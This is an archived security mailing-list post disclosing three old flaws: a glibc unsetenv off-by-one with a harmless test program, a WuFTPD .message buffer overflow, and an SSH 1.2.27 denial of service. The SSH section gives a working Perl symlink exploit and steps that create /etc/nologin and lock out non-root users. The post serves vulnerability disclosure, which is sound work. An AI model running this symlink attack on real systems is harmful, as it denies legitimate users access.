Here's a couple of reasons to upgrade packages. All of these have been
reported to respective developers, and all but the sshd DOS attack have
fixes. I'm not guaranteeing that exploits are possible for all of these,
but they do look fairly dangerous.
I'd originally sent a message with this info to Aleph One, but probably
should have sent it to the list instead.
- Glibc 2.1.1:
o unsetenv() off-by-one error:
The unsetenv function in glibc 2.1.1 suffers from a problem whereby
when running through the environment variables, if the name of the
variable being unset is present twice consecutively, the second is
not destroyed.
unsetenv is sometimes used by programs that depend on it clearing out
variables for protection against evil environment variables.
It appears as though this was found by someone else before I stumbled
across it; glibc 2.1.2 should not be vulnerable.
To see if your libc has the problem, compile and run the following
program:
#include <stdlib.h>
#include <stdio.h>
extern char **environ;
int main()
{
char *env[] = {
"bob=trash",
"bob=uh-oh",
NULL
};
environ = env;
printf("bob = %s\n", env[0]);
unsetenv("bob");
printf("bob = %s\n", getenv("bob"));
return 0;
}
If the output isn't "bob = (null)", unsetenv() isn't doing its job.
(also note that not all libc's support unsetenv, or even the environ
variable, so this may not compile/link on many non-glibc systems).
- WuFTPD 2.5.0:
o .message file buffer overflow
WuFTPD when processing a .message file will read in a buffer, 255
bytes at a time, and process a number of % options (e.g. %H will
cause the remote hostname to appear in the output message). The
output buffer is only 1024 bytes long, so if the results from %
options are longer than about 4-5 characters, it will overflow this
buffer.
Exploits for this would probably be difficult, as the input buffer
is actually after the output buffer in memory, so it will overwrite
the input buffer and keep copying the resulting contents in memory
over and over until the top of memory is hit, causing a segfault.
However, with some tricks (using % options that don't produce
output for example) it may be able to stop the copying before
this occurs.
This was fixed in 2.6.0
- SSH 1.2.27 DOS:
o SSH has the option of setting up "authentication sockets", used to
pass authentication keys securely. When this is used, a socket is
created on both client and server machines; the socket created on the
server uses an often easy to guess filename (based on the PID)...
The creation of this socket is done while the server is acting as
root and does follow symlinks.
exploit:
- connect to remote machine
- run following script (creates symlinks for the next 50 PID's):
#!/usr/bin/perl
$pid = $$;
$whoami = `whoami`;
chop($whoami);
mkdir("/tmp/ssh-$whoami", 0700);
for ($i = $pid; $i < $pid+50; $i++) {
symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent");
}
- on local machine, execute ssh-agent1; it will produce a few lines
to cut and paste into your shell. Do so.
- ssh1 to the remote machine; enter password
The socket will have been created at /etc/nologin, preventing other
non-root users from logging in. This connection too will die with
"Logins are currently denied by /etc/nologin:"
This was tested on a RedHat 6.0 machine, with standard
configure/make/install installation of ssh. This script should work
pretty well for systems that create processes where each PID is one
greater than the last; other platforms may require modifications, or
many many more links, if they're exploitable.
I sent this info in to the ssh folks a while ago and they were looking
into it; haven't heard from them in over a week though.
-Tymm
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:04:29 PDT